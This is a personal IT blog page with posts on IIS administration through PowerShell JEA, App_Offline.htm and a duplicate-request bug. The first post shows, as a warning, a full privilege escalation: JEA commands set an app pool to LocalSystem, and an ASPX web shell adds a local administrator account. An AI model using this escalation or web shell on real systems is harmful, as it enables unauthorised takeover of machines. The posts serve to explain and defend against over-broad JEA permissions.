Forever Breathes The Lonely Word - My Tech Blog

There are currently no feeds available for new posts, but then again I don't have that many new posts anyways.

My blog contains only original content created by me, I don't copy other people's stuff and write about things that I come across in my daily work with IT.

Too much administration via JEA and IIS

Published: 22 December 2019

In the original version of my blog post: Manage IIS as a non admin user I suggested:

VisibleCmdlets = 'WebAdministration*'...

this means that we allow the JEA user to use all cmdlets in the WebAdministration PowerShell module, after all we want him/her to administrate the whole of IIS.

But we need to be very careful with being so careless with permissions, consider the following:

After the user (named: joe) connects to the JEA-point like:

Enter-PSSession -ComputerName localhost -Credential Get-Credentials -ConfigurationName "JeaIISConfigName"

he can execute the following commands:

New-WebAppPool -Name JeaHackPool
New-WebSite -Name JeaHackSite -Port 85 -PhysicalPath "C:\Users\joe\wwwroot" -ApplicationPool JeaHackPool
Set-WebConfigurationProperty -pspath 'MACHINE/WEBROOT/APPHOST'  -filter "system.applicationHost/applicationPools/add[@name='JeaHackPool']/processModel" -name "identityType" -value "LocalSystem"
Set-WebConfigurationProperty -pspath 'MACHINE/WEBROOT/APPHOST' -location 'JeaHackSite' -filter "system.webServer/security/authentication/anonymousAuthentication" -name "userName" -value ""

He created a new IIS application-pool and website and made sure the site runs under the local system account.


back in the normal (non-JEA) PowerShell session, he can now:

New-Item -Type Directory -Path "C:\Users\joe\wwwroot"
New-Item -Type File -Path "C:\Users\peter\wwwroot\default.aspx"

and use the following as the content of the home page default.aspx

<%@ Page Language="C#" %>
<script runat="server">

    protected string output = "";

    private void Run(string command)
          var p1 = new System.Diagnostics.Process();
          p1.StartInfo.UseShellExecute = false;
          p1.StartInfo.RedirectStandardOutput = true;
          p1.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";
          p1.StartInfo.Arguments = "/c " + command;

          output += p1.StandardOutput.ReadToEnd();

    protected void Page_Load(object sender, EventArgs e)
          Run("net user myadmin myPassOrd19 /ADD /EXPIRES:Never");
          Run("net localgroup administrators myadmin /ADD");
          Run("net user myadmin");


<%= output %>

Now he can open that new aspx page:

(Invoke-WebRequest -Uri "http://localhost:85").Content

the output should be something like this:

The command completed successfully.
The command completed successfully.

User name                    myadmin
Local Group Memberships      *Administrators       *Users

The command completed successfully.

now he can use the new user to start an elevated PowerShell admin session:

Start-Process -FilePath powershell.exe -Verb runas

and of course now he can do anything with your machine.

So the take away is: Never give any users full access to the WebAdministration module, just be very specific with your JEA capabilities, just allow specific tasks and don't allow anything that could potentially take over your computer.

This is not only true for IIS, but may also apply to other parts of the OS management.

Tags: IIS | Security | Windows

Manage IIS as a non admin user

Published: 16 December 2019

I always try to do as many things as possible as a normal user, but fully managing IIS was always restricted to administrators. Calling any Web-Administration APIs requires your user to be a member of the administrators group.

One workaround was to change the NTFS permissions on ApplicationHost.config file and edit it directly, but I wouldn't recommend this, especially not on a production server.


If you like to use the IIS GUI managment tools, you are still out of luck. But if you are happy to use PowerShell cmdlets to manage IIS, I will describe here how to do that as a non-administrator.

To pull off this trick we are gonna use JEA, or PowerShell Just Enough Administration, you need PowerShell 5.0 or higher which is available for all supported Windows versions (Server 2008 R2 and higher, but also Windows 7+).

If you don't know what JEA is, in a nutshell it uses PowerShell Remoting and a set of rules to allow normal users to perform actions that are normally limited to administrators. In the background, a virtual administrator account is executing those actions, but the rules define very precisely what these actions are.

We are going through all the steps needed to make this work. I assume a single local machine with Windows 10.

For all the setup work here, you need a PowerShell console started as an elevated administrator.

WARNING: If you are following the instructions in this post, not only are you giving a normal user full access to IIS management, you also allow a smart user to completely take over your machine. Read the follow up post: Too much administration via JEA and IIS on how this is possible and the last section of this post.

Installing IIS

For our purpose we need a basic IIS install, but we need the PowerShell IIS cmdlets. You can learn more about different ways for installing Windows features on the command line.

Enable-WindowsOptionalFeature -Online -FeatureName "IIS-WebServerRole"
Enable-WindowsOptionalFeature -Online -FeatureName "IIS-ManagementScriptingTools"

Enable Remoting

On server, PowerShell Remoting is usually enabled by default, on a workstation OS run:


Creating a Windows group and user

To test our setup, we are creating a new Windows group and a normal user who is a member of this group.

New-LocalGroup -Name "IIS-Webmasters"
$Password = Read-Host -AsSecureString -Prompt "Enter a password for the user"
New-LocalUser "iisManager" -Password $Password -FullName "IIS Manager" -Description "User to manage IIS"
Add-LocalGroupMember -Group "users" -Member "iisManager"
Add-LocalGroupMember -Group "IIS-Webmasters" -Member "iisManager"

Creating a PowerShell Module with rules

This part is the meat of this task. To define rules for JEA, we need to create a PowerShell module.

We create a PowerShell module and related files. The location has to be under a directory listed in $env:PsModulePath, and should also not be write-able to any normal users, otherwise they could change the rules.

Run the following commands:

$moduleName = "IISJea"
$groupName = "IIS-Webmasters"

$modulePath = Join-Path -Path $env:ProgramFiles -ChildPath "WindowsPowerShell\Modules\$moduleName" $manifestFile = Join-Path -Path $modulePath -ChildPath "$moduleName.psd1" $roleDir = Join-Path -Path $modulePath -ChildPath "RoleCapabilities" $roleFile = "$roleDir\$($moduleName).psrc" $SessionFile = Join-Path -Path $modulePath -ChildPath "$moduleName.pssc"

$cmdlets = 'WebAdministration*','Get-IISSite','Start-IISSite','Stop-IISSite','Get-IISAppPool','Get-ChildItem','Set-Location' $aliases = "ls","cd" $providers = 'WebAdministration','Variable'

New-Item -ItemType Directory -Path $modulePath New-Item -ItemType Directory -Path $roleDir New-Item -ItemType File -Path (Join-Path $modulePath -ChildPath "$moduleName.psm1") New-ModuleManifest -Path "$manifestFile" -RootModule "$moduleName.psm1" New-PSRoleCapabilityFile -VisibleCmdlets $cmdlets -VisibleAliases $aliases -VisibleProviders $providers -Path "$roleFile" New-PSSessionConfigurationFile -SessionType RestrictedRemoteServer -RunAsVirtualAccount -RoleDefinitions @{"$groupName" = @{ RoleCapabilities ="$moduleName"}} -Path $SessionFile Register-PSSessionConfiguration -Path $SessionFile -Name $moduleName -Force

We created all required configuration files and registered an JEA endpoint.


Now we can test our configuration, this should be done from a non-admin PowerShell session:

$cred = Get-Credential -Credential iisManager
Enter-PSSession -ComputerName localhost -Credential $cred -ConfigurationName IISJea

if everything works, a new prompt should appear and we can manage IIS:

[localhost]: PS> Get-ChildItem -Path iis:\sites
[localhost]: PS> Stop-WebSite -Name "Default Web Site"
[localhost]: PS> Add-WebConfigurationProperty -pspath 'MACHINE/WEBROOT/APPHOST/Default Web Site'  -filter "system.webServer/defaultDocument/files" -name "." -value @{value='foo.html'}

but we can only manage IIS, nothing else, not even things we could normally do:

[localhost]: PS> cd C:
[localhost]: PS> Get-Process

all fail because the provider or the command is not allowed in this session.

Changing things

When we want to make changes to our configuration, we first need to unregister the JEA endpoint:

Unregister-PSSessionConfiguration IISJea

Now we can edit the configuration files, all related files are in:

C:\Program Files\WindowsPowerShell\Modules\IISJea

Edit IISJea.pssc to change who can use the endpoint, you need to change the RoleDefinitions.

Edit RoleCapabilities\IISJea.psrc to change what the user can do.

For example, what if your user should not only be able to restart ApplicationPools but the whole IIS service.

You need to edit the VisibleCmdlets value in IISJea.psrc, at the end of the line add:

, @{Name = "Restart-Service"; Parameters = @{Name="Name"; ValidateSet="WAS"},@{Name="Force"}}

Here we are telling JEA to allow the user to restart a service, but only one, in this case the Windows Process Activation Service which is part of IIS and the one we want to restart. We also need to allow the -force parameter, because WAS has depending services that need to restart as well. No other services can be changed by the user.

When done with editing, we need to register the endpoint again:

Register-PSSessionConfiguration -Name IISJea -Force -Path "$($env:ProgramFiles)\WindowsPowerShell\Modules\IISJea\IISJea.pssc"

For more details check the Microsoft documentation

Removing the whole thing

After the test you should clean up, we unregister the endpoint and delete all files:

Unregister-PSSessionConfiguration -Name IISJea 
Get-ChildItem -Path "$($env:ProgramFiles)\WindowsPowerShell\Modules\" -Filter "IISJea" -Recurse | Remove-Item -Force -Recurse

Be very, very careful!

As mentioned in the warning above, using $cmdlets = 'WebAdministration\*' is very dangerous, as it allows an experience user to completely take over your machine. So never use it.

Instead determine what exactly it is your non-admin user has to do with IIS. Ideally only grant access to Read-only (Get-*) cmdlets.

Set-WebConfigurationProperty is very dangerous because it allows users to change any settings and therefor use the same hack described in Too much administration via JEA and IIS.

If you really need to allow changes, be very specific about what a user can do: like this:

$cmdlets += @{
    Parameters = @{Name='pspath'; ValidatePattern="MACHINE\/WEBROOT\/APPHOST\/MySite"},
                 @{Name='filter'; ValidatePattern="system.webServer\/urlCompression"},
                 @{Name='Name'; ValidatePattern="doStaticCompression"},
                 @{Name='Value'; ValidatePattern="True|False"},

Tags: IIS | IT Pro | Web | Windows

ASP.NET App_Offline.htm Problems

Published: 18 November 2019

One of my sites on IIS is just used occassionaly, so I often want to turn it off completely.

To do so I was using the old App_Offline.htm trick, by putting this file in the root of the web site, no other pages or resources are served. Just the content of that file is returned for all requests.

When I tried to do this recently, rather than showing the content of that page, a 503 error page was returned.

A second problem is that I am using LetsEncrypt for many sites. I am using a http-challenge and my server script automatically updates the certificates every 2 months. For this particular web site, the renewal didn't work when App_Offline.htm was in place. This is understandable because even though my scripts creates the acme-challenge file, the page is not served to the LetsEncrypt checking process.

The first problem is the topic of a Stack Overflow question my answer there explains a bit what happens.

By setting

 <httpErrors existingResponse="Replace">

we instruct IIS to ignore whatever (who is responsible for the App_Offline.htm trick) sends us and return its own IIS 503 page.


 <httpErrors existingResponse="Auto">

would work, but this may have other side effects and I didn't want my site's offline status depend on a seemingly unrelated setting.

App_Offline.htm may also not work for any static pages because they may not run through the pipeline.

So I decided to retired the App_Offline.htm approach and change the way I offline my sites.

A feature of IIS I use quite a bit is the URL Rewrite module, so I created a new rule:

<rule name="AppOffline" enabled="true" stopProcessing="true">
    <match url=".*"></match>
    <action type="Rewrite" url="/appisoffline.html"></action>

This matches all requests, or static and rewrites them to a static page. I can simple change enabled="false" to turn this on or off.

What about the LetsEncrypt problem, I want the certificate renewal to work, even though the site is offline. So pretty much all I want to allow is a single file location, I just added a condition to my rule: If the request is for a file in the LetsEncrypt challenge directory and has a restricted name with at least 25 characters I will allow the request.

Tags: ASP.Net | IIS | Web

A while ago I moved my sites to a new hosting environment, not only to a Windows Server 2016 but also a different data center with a different hosting and network environment. The migration worked pretty well, I set up my servers using mostly PowerShell scripts and everything seemed to work fine.

But then I noticed that when creating a new item on the site, two records were created in the database, that never happened before! Using F12 in the browser I could see that only a single http request was sent to the server. On the server however I could see two entries in the http logs, in my database access logs and of course the database itself. What's happening here?

I enabled failed request tracing and here as well there are two records for two requests! There are pretty much exactly the same until the very end.

The first request ends with these two entries:

224.GENERAL_FLUSH_RESPONSE_ENDBytesSent="0", ErrorCode="An operation was attempted on a nonexistent network connection. (0x800704cd)"
225.GENERAL_REQUEST_ENDBytesSent="0", BytesReceived="1271", HttpStatus="200", HttpSubStatus="0"

while the second request has:

224.GENERAL_FLUSH_RESPONSE_ENDBytesSent="486", ErrorCode="The operation completed successfully. (0x0)"
225.GENERAL_REQUEST_ENDBytesSent="486", BytesReceived="1271", HttpStatus="200", HttpSubStatus="0"

So the first requests finishes with an error and while it claims an http status of 200 it sent 0 bytes, so pretty much no response, instead the request got repeated and the second time it work and a proper http response was sent.

So why does this happen?

The "An operation was attempted on a nonexistent network connection. (0x800704cd)" doesn't really make any sense, or does it? I looked around and it comes up in some other scenarios with large data sizes and timeouts, but here I am only submitting some bytes of json data.

I checked other parts of my site, it happens whenever I submit some data via XHR (AJAX), edit and delete operations are affected as well, but only the insert operation results in a visible (duplicate record) problem. Submitting an old school ASP.NET web form, doesn't show this problem.

Some other people did blame their anti-virus software for similar problems, so I uninstalled Windows Defender from the server, but this didn't help.

I then removed all URL Rewrite rules from the site, but the problem persisted.

I run with a very stripped-down and hardened IIS, I tried to reproduce the problem with a similar configuration on my DEV machine and couldn't see it. With the network error in mind, I tested the site with a browser on the server itself and the problem did not occur, Ha! So it is indeed something with the network rather than the OS, IIS or my application?

The problem is, I have no control whatsoever over the hosting and networking environment.

I searched again online and found a question on StackOverflow that also mentioned the 0x800704cd error. While the accepted answer was to disable AVG Security software, a zero vote answer mentioned they disabled Client Certificates.

Worth a try, as I do support those as a means of authentication, and bang, by changing them from Accept to Ignore, the duplicate requests stopped happening.

I still want to support client certs, but I can just enable them for the logon section of the site, not for any other pages.

So I got a workaround for my problem but I still don't know why this happens with client certificates enabled. Why do ajax requests fail the first time and are repeated and then succeed? I guess this is a combination of things, because in my old hosting environment this worked fine.

Tags: ASP.Net | IIS

22-Dec - Too much administration via JEA and IIS
16-Dec - Manage IIS as a non admin user
18-Nov - ASP.NET App_Offline.htm Problems
01-Oct - Opening Windows Terminal from the command line
13-Mar - Using a Windows CA to create your own client certificates
26-Jan - The case of the duplicate ASP.Net request
13-Nov - Robocopy Directory Failure
19-Mar - Visual Studio 2017 Offline Setup Certificates
07-Oct - Adding to the path environment variable
28-Sep - Orphaned IIS APPPOOL accounts
25-Sep - Bloated Path Variable in Windows
21-Sep - Let's Encrypt on IIS
04-Aug - Updating Windows 10 with a different OS language.
01-Aug - Protect your local file backup from Ransomware
30-Jul - Windows Groups
23-Jul - Making sure to use only valid certificate authorities
18-Jul - How to elevate a non-admin user in Windows while logged in as a different user?

older posts

Pages in this section


ASP.Net | Community | Development | IIS | IT Pro | Security | SQL (Server) | Tools | Web | Work on the road | Windows